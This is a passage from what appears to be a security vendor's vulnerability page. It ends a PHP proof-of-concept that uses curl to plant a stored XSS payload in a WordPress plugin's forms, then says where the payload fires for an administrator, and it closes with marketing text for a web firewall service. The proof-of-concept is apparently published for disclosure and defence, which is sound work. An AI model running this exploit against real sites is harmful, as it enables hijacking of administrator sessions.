curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

// Check for success - should redirect or show success message
if (curl_getinfo($ch, CURLINFO_HTTP_CODE) === 302 || strpos($response, 'Formular') !== false) {
    echo "Exploit successful! Malicious form created with XSS payload.n";
    echo "Payload will execute when admin views Forms page at: /wp-admin/admin.php?page=webling_page_formsn";
    echo "Or when editing the specific form.n";
} else {
    echo "Exploit may have failed. Response code: " . curl_getinfo($ch, CURLINFO_HTTP_CODE) . "n";
    echo "Response: " . substr($response, 0, 500) . "...n";
}

curl_close($ch);
unlink('cookies.txt');

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School